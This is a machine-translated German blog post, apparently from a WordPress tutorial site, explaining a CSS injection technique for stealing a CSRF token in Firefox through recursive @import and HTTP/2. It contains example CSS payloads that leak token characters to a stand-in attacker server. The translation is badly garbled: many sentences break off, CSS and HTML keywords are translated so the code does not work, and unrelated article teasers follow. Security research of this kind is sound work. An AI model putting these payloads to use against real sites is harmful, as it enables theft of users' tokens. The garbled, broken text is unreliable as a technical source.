0x00 Einführung Vor einigen Monaten habe ich eine Schwachstelle in Firefox gefunden (CVE-2019-17016). Während meiner Recherchen bin ich auf eine Technik zum Datendiebstahl unter Verwendung von CSS in Firefox gestoßen, mit der Daten über einen einzigen Injektionspunkt gestohlen werden können. Meine Forschungsergebnisse möchte ich gerne mit Ihnen teilen. 0x01 Hintergrund Nehmen wir zu Demonstrationszwecken an, wir möchten das CSRF-Token von einem <Eingabetyp="versteckt" Name="csrftoken" Wert="EIN_WERT"> Wir können keine Skripte verwenden (wahrscheinlich wegen CSP), daher suchen wir nach einer stilbasierten Injektion. Der traditionelle Ansatz besteht in der Verwendung von Attributselektoren wie diesen: Eingabe[Name='csrftoken'][Wert^='a'] { Hintergrund: URL (//Angreifer-Server/Leak/a); } Eingabe[Name='csrftoken'][Wert^='b'] { Hintergrund: URL (//Angreifer-Server/Leak/b); } ... Eingabe[Name='csrftoken'][Wert^='z'] { Hintergrund: URL (//Angreifer-Server/Leak/z); } Wenn die CSS-Regel angewendet wird, kann der Angreifer die HTTP-Anfrage empfangen und das erste Zeichen des Tokens abrufen. Der Angreifer muss dann ein weiteres Stylesheet vorbereiten, das das gestohlene erste Zeichen enthält, wie unten gezeigt: Eingabe[Name='csrftoken'][Wert^='aa'] { Hintergrund: URL (//Angreifer-Server/Leak/aa); } Eingabe[Name='csrftoken'][Wert^='ab'] { Hintergrund: URL (//Angreifer-Server/Leak/ab); } ... Eingabe[Name='csrftoken'][Wert^='az'] { Hintergrund: URL (//Angreifer-Server/Leak/az); } Normalerweise müsste ein Angreifer die bereits im Im Jahr 2018 hatte Pepe Vila eine sehr coole Idee, rekursive CSS-Importe in Chrome zu missbrauchen, um dieselbe Aufgabe mit einem einzigen Injektionspunkt zu erreichen. Im Jahr 2019 schlug Nathanial Lattimer (@d0nutptr) die gleiche Technik mit einer kleinen Abwandlung erneut vor. Nachfolgend werde ich Lattimers Methode kurz zusammenfassen, die der Idee dieses Artikels nahe kommt (allerdings waren mir Lattimers frühere Arbeiten während dieser Untersuchung nicht bekannt, sodass manche Leute denken könnten, ich würde das Rad neu erfinden). Kurz gesagt, die erste Injektion verwendet eine Reihe von @import url(//ANGRIFFER-SERVER/polling?len=0); @import url(//ANGRIFFER-SERVER/polling?len=1); @import url(//ANGRIFFER-SERVER/polling?len=2); ... Die Kernidee ist wie folgt: 1. Zu Beginn gibt nur das erste 2. Das erste 3. Wenn das erste durchgesickerte Token 4. Wenn das zweite durchgesickerte Zeichen Diese Technik funktioniert, weil Chrome 0x02 Firefox und Stylesheet-Verarbeitung Die oben genannte Methode funktioniert nicht in Firefox, da dieser Stylesheets ganz anders behandelt als Chrome. Hier werde ich anhand einiger Fälle den Unterschied veranschaulichen. Erstens verarbeitet Firefox Stylesheets synchron. Wenn ein Stylesheet mehrere <Stil> @import '/polling/0'; @import '/Abfrage/1'; @import '/Abfrage/2'; </Stil> Angenommen, der erste Wir können dies beheben, indem wir alle <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> Im obigen Code verarbeitet Firefox alle Stylesheets separat, sodass die Seite sofort blau wird und andere Aber hier ist ein anderes Problem: Angenommen, wir möchten ein Token stehlen, das 10 Zeichen enthält: <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style> Firefox stellt sofort 10 0x03 HTTP/2 Die Begrenzung auf 6 Verbindungen wird durch die TCP-Schicht bestimmt, sodass nur 6 TCP-Verbindungen gleichzeitig zu einem einzelnen Server bestehen können. In diesem Fall denke ich, dass HTTP/2 nützlich sein könnte. HTTP/2 hat viele Vorteile. Beispielsweise können wir mehrere HTTP-Anfragen über eine einzige Verbindung senden (auch Multiplexing genannt), was die Leistung erheblich verbessert. Firefox begrenzt auch die Anzahl gleichzeitiger Anfragen für eine einzelne HTTP/2-Verbindung, aber standardmäßig liegt das Limit bei 0x04 Ausnutzung Nun ist alles bereit. Unsere wichtigsten Exploit-Szenarien lauten wie folgt: 1. Der Exploit-Code basiert auf HTTP/2. 2. Der Endpunkt 3. Geben Sie das gesamte Token über 4. Um Firefox zu zwingen, zwei TCP-Verbindungen zum selben Server zu initiieren, werden hier zwei Endpunkte verwendet, nämlich 5. Der Endpunkt Mit dem Ziel, auf diese Weise Darüber hinaus habe ich den PoC-Code auch auf GitHub gehostet und der Angriffsvorgang kann hier im Video angesehen werden. Da wir HTTP/2 verwenden, ist der Angriff interessanterweise sehr schnell und das gesamte Token kann in weniger als 3 Sekunden abgerufen werden. 0x05 Zusammenfassung In diesem Artikel habe ich gezeigt, wie man einen Injektionspunkt ausnutzt, um Daten über CSS zu stehlen, ohne die Seite neu zu laden. Dabei geht es vor allem um zwei Punkte: 1. Teilen Sie die 2. Um das TCP-Limit für gleichzeitige Verbindungen zu umgehen, müssen wir den Angriff über HTTP/2 starten. Oben habe ich Ihnen erklärt, wie man mit CSS Daten im Firefox-Browser stiehlt. Ich hoffe, es ist hilfreich für Sie. Vielen Dank für Ihre Unterstützung der Website 123WORDPRESS.COM! |
<<: Docker installiert ClickHouse und initialisiert den Datentest
In diesem Artikel wird der Beispielcode von CSS3 ...
Inhaltsverzeichnis Die dynamischen Partikeleffekt...
Die Tabelle sieht wie folgt aus: HTML-Quellcode E...
1. Vorbereitung 1.1 Laden Sie VMware 15 herunter ...
Bei unserer täglichen Arbeit führen wir manchmal ...
Da PostgreSQL kompiliert und installiert ist, müs...
1. Verwenden Sie den Befehl df, um die gesamte Fe...
1. Um die Abfrage zu optimieren, sollten Sie voll...
[mysql] Ersetzungsverwendung (Teil des Inhalts ei...
Inhaltsverzeichnis Vorwort Erkennen des geöffnete...
In diesem Artikel werden die Installationsschritt...
[Wer ist nslookup?] 】 Der Befehl nslookup ist ein...
Inhaltsverzeichnis Tutorial-Reihe 1. Benutzerverw...
Einige Optimierungsregeln für Browser-Webseiten S...
Unter den Anforderungen des heutigen responsiven ...